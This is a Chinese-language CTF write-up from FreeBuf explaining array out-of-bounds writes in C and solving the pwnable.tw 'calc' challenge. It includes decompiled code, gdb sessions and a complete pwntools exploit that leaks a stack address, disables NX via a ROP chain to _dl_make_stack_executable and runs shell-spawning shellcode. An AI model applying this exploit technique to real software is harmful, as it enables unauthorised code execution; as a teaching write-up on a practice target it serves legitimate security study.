從pwnable.tw-calc看陣列越界造成的任意地址讀寫
*本文作者:Lkerenl,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
陣列越界訪問是c程式常見的錯誤之一,由於c語言並不向Java等語言對陣列下標有嚴格的檢查,一旦出現越界,就有可能造成嚴重的後果。
陣列越界訪問
看下邊一個例子::
#include <stdio.h> #include <stdlib.h> int target = 0xdeadbeef; int main() { int a[20] = {0xdeadbeef}; int index,value; printf("%x\n",a); scanf("%d%d", &index, &value); a[index] = value; if (target == 0x27) printf("Congratulations!\n"); else { printf("try again.\n"); } return 0; }
以32位為例:
gcc -m32 Array-out-of-bounds.c -g0 -o 32
棧空間:
00:0000│ esp0xffffcdb0 —▸ 0x8048634 ◂— andeax, 0x642564 /* '%d%d' */ 01:0004│0xffffcdb4 —▸ 0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0 02:0008│0xffffcdb8 —▸ 0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0 03:000c│0xffffcdbc ◂— 0x0 04:0010│0xffffcdc0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c 05:0014│ eax0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0 06:0018│0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0 07:001c│0xffffcdcc ◂— 0xdeadbeef 08:0020│0xffffcdd0 ◂— 0x0 ... ↓ 1b:006c│ edi0xffffce1c ◂— 0xc4907500 1c:0070│0xffffce20 —▸ 0xffffce40 ◂— 0x1 1d:0074│0xffffce24 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 1e:0078│ ebp0xffffce28 ◂— 0x0 1f:007c│0xffffce2c —▸ 0xf7e19637 (__libc_start_main+247) ◂— addesp, 0x10
此時我們可以看到 a
的地址為 0xffffcdcc
而記憶體訪問陣列的方法是:
0x8048549 <main+94>addesp, 0x10 0x804854c <main+97>moveax, dword ptr [ebp - 0x64] 0x804854f <main+100>movedx, dword ptr [ebp - 0x60] 0x8048552 <main+103>movdword ptr [ebp + eax*4 - 0x5c], edx
即 ebp-0x5c
為 a
的地址,再加上 eax
也就是索引乘4,如果我們要修改 target
的值:
pwndbg> p/x ⌖ $3 = 0x804a028
即 0xffffcdcc + eax * 4 == 0x804a028
解方程。我們因為是32位,所以我們可以把這個方程看成:
(0xffffcdcc + eax * 4) & 0xffffffff== 0x804a028
因為有很多值,我們就取一個:
In [5]: (0x10804a028-0xffffcdcc)/4 Out[5]: 0x2013497
成功修改:
pwndbg> c Continuing. ffffcdcc 33633431 39 ... pwndbg> p $ebp + $eax*4 - 0x5c $5 = (void *) 0x804a028 <target> pwndbg> n ... pwndbg> p/x target $6 = 0x27
修改成功,退出除錯環境再試一下。
➜Array-out-of-bounds ./32 ffd8e7fc 34270731 39 Congratulations!
接下來通過pwnable.tw的一道calc實戰一下
pwnable.tw-calc
nc連上去看看:
➜~ nc chall.pwnable.tw 10100 === Welcome to SECPROG calculator === 1+3 4 1-3 -2 2+-2 expression error! -2+2 2 0+0 prevent division by zero -0+1 prevent division by zero +1+1 2 +5-7 -7 Merry Christmas!
隨便輸入點什麼,可以看到有些奇怪的輸出。開啟ida載入分析一下、邏輯很簡單:
unsigned int calc() { int result[101]; // [esp+18h] [ebp-5A0h] char expr; // [esp+1ACh] [ebp-40Ch] unsigned int v3; // [esp+5ACh] [ebp-Ch] v3 = __readgsdword(0x14u); while ( 1 ) { bzero(&expr, 0x400u); if ( !get_expr((int)&expr, 1024) ) break; init_pool(result); if ( parse_expr(&expr, result) ) { printf(("%d\n", result[result[0] - 1 + 1]); fflush(stdout); } } return __readgsdword(0x14u) ^ v3; }
主要就是這個calc的函式,可以看到一開始讀了canary到棧裡,然後從命令列讀一行字串然後呼叫 parse_expr
來計算,結果放在 result[size - 1]
處。 get_expr
的邏輯就是一個字元一個字元讀到s裡並過濾掉除 [0-9]*+-\%
的字元。 init_pool
這個函式初始化了一段大小為100*4記憶體空間。暫時不知道幹什麼用的,不過通過 calc
的那個 printf
可以推斷出這裡邊放有計算的結果。 parse_expr
首先是個for迴圈對輸入的表示式進行遍歷。
v9 = atoi(tmp_num); if ( v9 > 0 ) { v4 = (*result)++;// 儲存數字,result個數+1 result[v4 + 1] = v9; } if ( expr[i] && (unsigned int)(expr[i + 1] - '0') > 9 ) { puts("expression error!"); fflush(stdout); return 0; } num_start = &expr[i + 1]; if ( s[v7] ) { switch ( expr[i] ) { case '%': case '*': case '/': if ( s[v7] != '+' && s[v7] != '-' ) { eval(result, s[v7]); s[v7] = expr[i]; } else { s[++v7] = expr[i]; } break; case '+': case '-': eval(result, s[v7]); s[v7] = expr[i]; break; default: eval(result, s[v7--]); break; } } else { s[v7] = expr[i]; }
result為數字棧,s為符號棧,result[0]儲存當前數字棧裡的數字的個數。通過一個switch來判斷符號型別,確定運算順序,最後一個while從右向左計算表示式。
while ( v7 >= 0 ) eval(result, s[v7--]);
通過eval函式計算表示式:
//eval(result, s[v7]); int *__cdecl eval(int *result, char a2) { int *a3; // eax if ( a2 == '+' ) { result[*result - 1] += result[*result]; } else if ( a2 > '+' ) { if ( a2 == '-' ) { result[*result - 1] -= result[*result]; } else if ( a2 == '/' ) { result[*result - 1] /= result[*result]; } } else if ( a2 == '*' ) { result[*result - 1] *= result[*result]; } a3 = result; --*result; return a3; }
我們可以看到在 eval
函式中,因為沒有檢查 result[0]
的值,如果我們能夠控制 result[0]
的值,我們就可以造成任意地址的寫入,繞過 canary
修改返回地址形成棧溢位。而且在函式 calc
中,如果我們能控制 result[0]
就可以通過 printf("%d\n", result[result[0] - 1 + 1]);
讀取任意地址。那麼我們如何在能控制 result[0]
的值呢,考慮我們在nc時的輸入,發現在輸入由符號開始的表示式時,如 +20
因為第一個字元為符號 +
而只有一個數字,那麼在這樣的情況下執行 eval時
, result[*result - 1] += result[*result];
就會變成 result[1-1]+=result[1];
成功控制了 result[0]
的值。
攻擊流程
我們首先利用陣列越界造成的任意地址讀寫,將 __stack_prot
改成 0x7
,接著構造ROP鏈,使其執行 _dl_make_stack_executable<__libc_stack_end>
(注意這裡的 __libc_stack_end
在eax內),就能關閉 NX
保護,然後我們就利用 jmp esp
或者 call esp
劫持eip到棧上從而getshell。
exp
from pwn import * filename = "./calc" context.binary = filename elf = ELF(filename) if args.A: p = remote('chall.pwnable.tw',10100) else: p = process(filename) context.log_level = 'debug' stack_addr = None pop_eax = 0x0805c34b #pop eax; ret jmp_esp = 0x080e3f63 #jmp esp def g(cmd=None): gdb.attach(p,cmd) def w(offset,value): offset = str(offset) p.sendline("+"+offset) orgin = int(p.recvuntil('\n')[:-1]) if value - orgin >= 0x7fffffff: #import pdb;pdb.set_trace() value = unpack( pack(value),'all',sign=True) value = -(orgin - value) else: value -= orgin p.sendline("+" + offset + ('+' if value > 0 else '-') + str(abs(value))) p.recvuntil('\n') def get_stack_addr(): global stack_addr p.sendline("+360") orgin = int(p.recvuntil('\n')[:-1]) stack_addr = u32(pack(orgin-1472)) log.info("get offset_base: %#x" % stack_addr) def exp(): p.recvuntil("===\n") get_stack_addr() z = (0x1080ebfec - (stack_addr))/4 log.info("__stack_prot offset: %#x" % z) p.sendline('+%d-%d' % (z,0xfffff9)) p.recvuntil('\n') w(361,pop_eax) w(362,elf.sym['__libc_stack_end']) w(363,elf.sym['_dl_make_stack_executable']) w(364,jmp_esp) shellcode = asm(shellcraft.sh()) shellcode = [u32(shellcode[x:x+4]) for x in range(0,len(shellcode),4)] for _ in range(0,len(shellcode)): w(365+_, shellcode[_]) p.send('\n') p.interactive() if __name__ == "__main__": exp()
注意因為 atoi
會將超過 0x7ffffffff
的數轉換為 0x7fffffff
,所以寫exp的時候要注意。
*本文作者:Lkerenl,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。